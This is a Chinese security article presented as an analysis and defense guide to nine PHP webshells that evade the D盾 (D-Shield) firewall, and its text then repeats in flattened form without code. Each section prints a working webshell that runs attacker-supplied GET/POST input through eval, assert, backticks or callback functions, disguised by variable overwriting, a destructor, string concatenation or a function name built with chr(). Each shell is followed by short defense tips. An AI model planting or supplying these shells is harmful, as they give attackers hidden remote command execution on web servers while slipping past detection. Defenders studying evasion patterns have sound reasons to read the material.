过D盾webshell分享
字数 1532 2025-08-26 22:11:15

过D盾Webshell技术分析与防御指南

0x00 前言

D盾是一款常见的Web应用防火墙(WAF),能够有效检测和拦截恶意Webshell。本文档详细分析了9种绕过D盾检测的Webshell技术,帮助安全研究人员了解攻击手法并提升防御能力。

0x01 extract变量覆盖技术

<?php 
$a = 1; 
$b = $_POST; 
extract($b); 
print_r(`$a`);
?>

技术原理

  • 使用extract()函数将POST数组中的变量导入当前符号表
  • 通过变量覆盖改变$a的值
  • 反引号执行系统命令

防御建议

  • 禁用extract()函数或严格限制其使用
  • 对用户输入进行严格过滤
  • 监控反引号操作符的使用

0x02 parse_str变量覆盖技术

<?php 
$a = 1; 
$b = "a=".$_GET['a']; 
parse_str($b); 
print_r(`$a`);
?>

技术原理

  • 使用parse_str()解析查询字符串格式的输入
  • 通过字符串拼接构造变量赋值语句
  • 实现变量覆盖后执行命令

防御建议

  • 禁用或严格限制parse_str()函数
  • 检查查询字符串解析操作
  • 监控反引号操作符的使用

0x03 __destruct析构函数技术

<?php 
class User { 
    public $name = ''; 
    function __destruct(){
        eval("$this->name"); 
    }
} 
$user = new User; 
$user->name = ''.$_POST['name']; 
?>

技术原理

  • 利用PHP类的析构函数__destruct()自动执行特性
  • 通过POST参数控制$name属性值
  • 在对象销毁时执行任意代码

防御建议

  • 监控魔术方法的使用,特别是__destruct()
  • 检查类属性是否被用户输入直接控制
  • 限制eval()函数的使用

0x04 null拼接技术

<?php 
$name = $_GET['name']; 
$name1 = $name2 = null; 
eval($name1.$name2.$name); 
?>

技术原理

  • 使用null值与用户输入拼接
  • 混淆eval的参数来源
  • 绕过基于字符串匹配的检测

防御建议

  • 监控eval()函数的动态参数构造
  • 检查变量拼接操作
  • 实施代码静态分析

0x05 空字符串拼接技术

<?php 
$name = $_GET['name']; 
$name1 = $name2 = ''; 
eval($name1.$name2.$name); 
?>

技术原理

  • 与null拼接类似,但使用空字符串
  • 更简单的混淆方式
  • 同样能绕过简单模式匹配

防御建议

  • 同null拼接技术的防御措施
  • 特别注意空字符串的拼接操作

0x06 空字符串与null混合拼接技术

<?php 
$a = $_GET['a']; 
$c = null; 
eval(''.$c.$a); 
?>

技术原理

  • 结合空字符串和null的混合拼接
  • 增加混淆复杂度
  • 进一步干扰检测逻辑

防御建议

  • 综合防御空字符串和null拼接技术
  • 实施深度代码分析

0x07 array_map函数技术

<?php 
function user() { 
    $a123 = chr(97).chr(115).chr(115).chr(101).chr(114).chr(116); 
    return ''. $a123; 
} 
$a123 = user(); 
$x123 = array($_GET['x']); 
array_map($a123, $a123=$x123); 
?>

技术原理

  • 使用chr()函数拼接"assert"字符串
  • 通过array_map()回调执行
  • 动态构造恶意函数名

防御建议

  • 监控array_map()等回调函数的使用
  • 检查chr()等字符构造操作
  • 限制动态函数调用

0x08 call_user_func_array函数技术

<?php 
function a(){ 
    return 'assert'; 
} 
$a = a(); 
$aa = array($_GET['x']); 
call_user_func_array($a, $a=$aa); 
?>

技术原理

  • 通过函数返回敏感函数名
  • 使用call_user_func_array()动态调用
  • 数组参数传递执行内容

防御建议

  • 监控call_user_func_array()的使用
  • 检查函数返回值是否被用于动态调用
  • 限制动态函数名构造

0x09 call_user_func函数技术

<?php 
function a(){ 
    return 'assert'; 
} 
$a = a(); 
$aa = $_GET['x']; 
call_user_func($a, $a=$aa); 
?>

技术原理

  • 与上例类似但使用call_user_func()
  • 更简单的回调函数调用方式
  • 直接传递参数执行

防御建议

  • 监控所有回调函数的使用
  • 检查动态函数调用链
  • 实施严格的输入过滤

综合防御策略

  1. 禁用危险函数:在php.ini中禁用eval()system()exec()等高危函数
  2. 严格输入过滤:对所有用户输入进行严格过滤和转义
  3. 代码静态分析:部署静态代码分析工具检测可疑模式
  4. 行为监控:监控异常的函数调用和代码执行行为
  5. 最小权限原则:Web服务器以最低必要权限运行
  6. 定期更新规则:保持WAF规则库最新,及时应对新型攻击手法
  7. 日志审计:详细记录并定期审计所有可疑操作

通过以上多层次的防御措施,可以有效防范此类Webshell攻击,保障Web应用安全。

过D盾Webshell技术分析与防御指南 0x00 前言 D盾是一款常见的Web应用防火墙(WAF),能够有效检测和拦截恶意Webshell。本文档详细分析了9种绕过D盾检测的Webshell技术,帮助安全研究人员了解攻击手法并提升防御能力。 0x01 extract变量覆盖技术 技术原理 : 使用 extract() 函数将POST数组中的变量导入当前符号表 通过变量覆盖改变 $a 的值 反引号执行系统命令 防御建议 : 禁用 extract() 函数或严格限制其使用 对用户输入进行严格过滤 监控反引号操作符的使用 0x02 parse_ str变量覆盖技术 技术原理 : 使用 parse_str() 解析查询字符串格式的输入 通过字符串拼接构造变量赋值语句 实现变量覆盖后执行命令 防御建议 : 禁用或严格限制 parse_str() 函数 检查查询字符串解析操作 监控反引号操作符的使用 0x03 __ destruct析构函数技术 技术原理 : 利用PHP类的析构函数 __destruct() 自动执行特性 通过POST参数控制 $name 属性值 在对象销毁时执行任意代码 防御建议 : 监控魔术方法的使用,特别是 __destruct() 检查类属性是否被用户输入直接控制 限制 eval() 函数的使用 0x04 null拼接技术 技术原理 : 使用null值与用户输入拼接 混淆eval的参数来源 绕过基于字符串匹配的检测 防御建议 : 监控 eval() 函数的动态参数构造 检查变量拼接操作 实施代码静态分析 0x05 空字符串拼接技术 技术原理 : 与null拼接类似,但使用空字符串 更简单的混淆方式 同样能绕过简单模式匹配 防御建议 : 同null拼接技术的防御措施 特别注意空字符串的拼接操作 0x06 空字符串与null混合拼接技术 技术原理 : 结合空字符串和null的混合拼接 增加混淆复杂度 进一步干扰检测逻辑 防御建议 : 综合防御空字符串和null拼接技术 实施深度代码分析 0x07 array_ map函数技术 技术原理 : 使用 chr() 函数拼接"assert"字符串 通过 array_map() 回调执行 动态构造恶意函数名 防御建议 : 监控 array_map() 等回调函数的使用 检查 chr() 等字符构造操作 限制动态函数调用 0x08 call_ user_ func_ array函数技术 技术原理 : 通过函数返回敏感函数名 使用 call_user_func_array() 动态调用 数组参数传递执行内容 防御建议 : 监控 call_user_func_array() 的使用 检查函数返回值是否被用于动态调用 限制动态函数名构造 0x09 call_ user_ func函数技术 技术原理 : 与上例类似但使用 call_user_func() 更简单的回调函数调用方式 直接传递参数执行 防御建议 : 监控所有回调函数的使用 检查动态函数调用链 实施严格的输入过滤 综合防御策略 禁用危险函数 :在php.ini中禁用 eval() 、 system() 、 exec() 等高危函数 严格输入过滤 :对所有用户输入进行严格过滤和转义 代码静态分析 :部署静态代码分析工具检测可疑模式 行为监控 :监控异常的函数调用和代码执行行为 最小权限原则 :Web服务器以最低必要权限运行 定期更新规则 :保持WAF规则库最新,及时应对新型攻击手法 日志审计 :详细记录并定期审计所有可疑操作 通过以上多层次的防御措施,可以有效防范此类Webshell攻击,保障Web应用安全。